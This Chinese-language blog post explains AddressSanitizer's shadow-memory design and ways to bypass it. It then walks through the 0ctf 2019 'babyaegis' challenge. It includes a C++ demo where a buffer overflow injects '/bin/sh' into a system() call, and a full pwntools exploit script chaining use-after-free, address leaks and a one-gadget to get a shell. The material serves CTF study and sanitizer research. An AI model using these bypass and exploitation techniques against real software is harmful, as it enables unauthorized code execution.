Swing'Blog 浮生若梦 Swing'Blog 浮生若梦
  • Home
  • |
  • About
  • |
  • Articles
  • |
  • RSS
  • |
  • Categories
  • |
  • Links

ASan and ASan in CTF(0ctf babyaegis)

2019-03-23 Updated on 2024-02-28 Other

Table of Contents

  1. ASan 算法实现
    1. 内存映射
      1. 64位
      2. 32位
  • Bypassing AddressSanitizer
    1. Adjacent Buffers in the Same Struct/Class
  • 0ctf babyaegis
    1. 题目分析
      1. 漏洞点
    2. 思路
    3. Exploit
  • 参考链接
  • About AddressSanitizer(ASan)

    AddressSanitizer 后文均简称为ASan 是 Google 开源的一个用于进行内存检测的工具,包括但可能不限于 Heap buffer overflow, Stack buffer overflow, Global buffer overflow 等等。

    在 wiki 中就举了了四个例子,分别是

    1. Heap-use-after-free
    2. Heap-buffer-overflow
    3. Stack-buffer-overflow
    4. Global-buffer-overflow

    除了学术上的建树,这个工具也曾发现了不少漏洞,如在知名的 j00r 的blog 中提到的

    关于 ASan 的核心实现在 wiki 也提到了,在我读了一些 paper 以及在 0ctf babyaegis 这个题目的调试也大概总结了一下:

    ASan 算法实现

    ASan 由两个主要部分构成,插桩和动态运行库( Run-time library ),插桩主要是针对在llvm编译器级别对访问内存的操作(store,load,alloca等),将它们进行处理。动态运行库主要提供一些运行时的复杂的功能(比如poison/unpoison shadow memory)以及将malloc,free等系统调用函数hook住。其实该算法的思路很简单,如果想防住Buffer Overflow漏洞,只需要在每块内存区域右端(或两端,能防overflow和underflow)加一块区域(RedZone),使RedZone的区域的影子内存(Shadow Memory)设置为不可写即可。

    +——————-+
    | redzone |
    +——————-+
    | mem |
    +——————-+
    | redzone |
    +——————-+
    | mem |
    +——————-+
    | redzone |
    +——————-+

    内存映射

    AddressSanitizer保护的主要原理是对程序中的虚拟内存提供粗粒度的影子内存(没8个字节的内存对应一个字节的影子内存),为了减少overhead,就采用了直接内存映射策略,所采用的具体策略如下:Shadow=(Mem >> 3) + offset。每8个字节的内存对应一个字节的影子内存,影子内存中每个字节存取一个数字k,如果k=0,则表示该影子内存对应的8个字节的内存都能访问。
    如果k在0到7之间,表示前k个字节可以访问,如果k为负数,不同的数字表示不同的错误(e.g. Stack buffer overflow, Heap buffer overflow)。具体的映射策略如下图所示。

    64位

    1
    Shadow = (Mem >> 3) + 0x7fff8000;
    [0x10007fff8000, 0x7fffffffffff] HighMem
    [0x02008fff7000, 0x10007fff7fff] HighShadow
    [0x00008fff7000, 0x02008fff6fff] ShadowGap
    [0x00007fff8000, 0x00008fff6fff] LowShadow
    [0x000000000000, 0x00007fff7fff] LowMem

    32位

    1
    Shadow = (Mem >> 3) + 0x20000000;
    [0x40000000, 0xffffffff] HighMem
    [0x28000000, 0x3fffffff] HighShadow
    [0x24000000, 0x27ffffff] ShadowGap
    [0x20000000, 0x23ffffff] LowShadow
    [0x00000000, 0x1fffffff] LowMem

    Bypassing AddressSanitizer

    显而易见的是,ASan 的检查很大一部分是基于影子内存中,此时影子内存的flag值。假设如果全段影子内存的 flag 全为0,我们就可以完全无视掉ASan,而0ctf 的 babyaegis,正是给了一个写0的机会,给了我们一次对一个指针再次读写的机会。

    此外还有几种方法,比如

    Adjacent Buffers in the Same Struct/Class

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    $ cat test1.c
    #include <stdio.h>
    #include <stdlib.h>
    class Test{
    public:
    Test(){
    command[0] = 'l';
    command[1] = 's';
    command[2] = '\0';
    }
    void a(){
    scanf("%s", buffer);
    system(command);
    }
    private:
    char buffer[10];
    char command[10];
    };
    int main(){
    Test aTest = Test();
    aTest.a();
    }
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    # swing @ localhost in /tmp [1:42:48]
    $ g++ -O -g -fsanitize=address test1.c
    clang: warning: treating 'c' input as 'c++' when in C++ mode, this behavior is deprecated [-Wdeprecated]

    # swing @ localhost in /tmp [1:43:10]
    $ ./a.out
    aaaaaaaaaa/bin/sh;
    sh-3.2$ id
    uid=501(swing) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh-disabled)
    sh-3.2$

    剩下见 PDF: https://dl.packetstormsecurity.net/papers/general/BreakingAddressSanitizer.pdf

    0ctf babyaegis

    题目分析

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    root@linuxkit-025000000001 /pwn# checksec aegis
    [*] '/pwn/aegis'
    Arch: amd64-64-little
    RELRO: Full RELRO
    Stack: Canary found
    NX: NX enabled
    PIE: PIE enabled
    FORTIFY: Enabled
    ASAN: Enabled
    UBSAN: Enabled

    开了 ASan

    影子内存位置: mem >> 3) + 0x7FFF8000LL

    漏洞点

    在update中:

    在delete中

    存在uaf

    此外,存在一个后门函数为:secret函数

    思路

    可以先置checker为0使得我们可以进行一个堆溢出改size值为0,接下来在做一次更改,这次可以溢出更多,改size为更大的值。然后rm了这个堆块再malloc出来就可以造成一个uaf的效果。接着利用uaf的指针泄漏各种program base 和libc base什么的东西。然后利用指针去改写bss段上的值导致__sanitizer::Die()函数内部call rax 调用我们想调用的函数。这里本来是想调用onegadget,但是不明确也没深究为什么onegadget没起作用。之后此处改写为gets控制程序流然后构成栈溢出覆盖ret为onegadget接着就getshell了

    Exploit

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    99
    100
    101
    102
    103
    104
    105
    106
    107
    108
    109
    110
    111
    112
    113
    from pwn import *

    debug=1
    # context.log_level = 'debug'
    context.terminal = ['notiterm', '-t', 'iterm','-e']
    # context.terminal = ['notiterm', '-t', 'iterm', '-p', '15112', '-e'] # use 50806 port as an example

    if debug:
    p = process('./aegis')
    # p=process('./aegis',env={'LD_PRELOAD':'./libc-2.27.so'})
    # gdb.attach(p)
    else:
    p=remote('111.186.63.209',6666)

    def get(x):
    return p.recvuntil(x)

    def pu(x):
    p.send(x)

    def pu_enter(x):
    p.sendline(x)

    def add(sz,content,id):
    pu_enter('1')
    get('Size')
    pu_enter(str(sz))
    get('Content')
    pu(content)
    get('ID')
    pu_enter(str(id))
    get('Choice: ')

    def show(idx):
    pu_enter('2')
    get('Index')
    pu_enter(str(idx))


    def update(idx,content,id):
    pu_enter('3')
    get('Index')
    pu_enter(str(idx))
    get('Content: ')
    pu(content)
    get('New ID:')
    pu_enter(str(id))
    get('Choice:' )

    def delete(idx):
    pu_enter('4')
    get('Index')
    pu_enter(str(idx))
    get('Choice:')

    def secret(addr):
    pu_enter('666')
    get('Lucky Number: ')
    pu_enter(str(addr))
    get('Choice:')

    add(0x10,'a'*8,0x123456789abcdef)
    for i in range(4):
    add(0x10,'b'*0x8,123)

    #0x602000000000
    #0x7fff8000
    secret(0xc047fff8008-4)
    update(0,'\x02'*0x12,0x123456789)
    update(0,'\x02'*0x10+p64(0x02ffffff00000002)[:7],0x01f000ff1002ff)
    delete(0)
    #raw_input("#")
    add(0x10,p64(0x602000000018),0)
    #raw_input("#")
    show(0)

    get('Content: ')
    addr = u64(get('\n')[:-1]+'\x00\x00')
    print addr
    pbase = addr -0x114AB0
    get('Choice: ')

    update(5,p64(pbase+0x347DF0)[:2],(pbase+0x347DF0)>>8)
    show(0)

    get('Content: ')
    addr = u64(get('\n')[:-1]+'\x00\x00')
    base = addr -0xE4FA0
    get('Choice: ')

    # gdb.attach(p)

    update(5,p64(pbase+0x0FB08A0),p64(pbase+0x7AE140))
    #update(5,p64(pbase+0xfb08a0+0x28),(pbase+0xfb08a0+0x28)>>8)
    raw_input("aa")
    pu_enter('3')
    get('Index')
    pu_enter('0')
    get('Content')
    #raw_input(hex(pbase+0x7AE140))
    pu(p64(base+524464)[:7])
    #get('ID')
    raw_input("#get"+str(hex(pbase+0x7AE140)))
    payload = 'a'*471+p64(base+0x4f322)+'\x00'*0x100
    #raw_input(hex(base + 0x4f322))
    pu_enter(payload)


    #print(hex(lbase))
    #print(hex(stack))
    p.interactive()


    参考链接

    github-AddressSanitizer

    AddressSanitizer: A Fast Address Sanity Checker

    AddressSanitizer算法及源码解析

    Bypassing AddressSanitizer

    分类: Other
    标签: Asan
    ← Prev 一个脱 themida 强壳的特殊方法
    Next → IO_FILE Pwn 利用整理

    Comments

    © 2015 - 2026 Swing
    Powered by Hexo Hexo Theme Bloom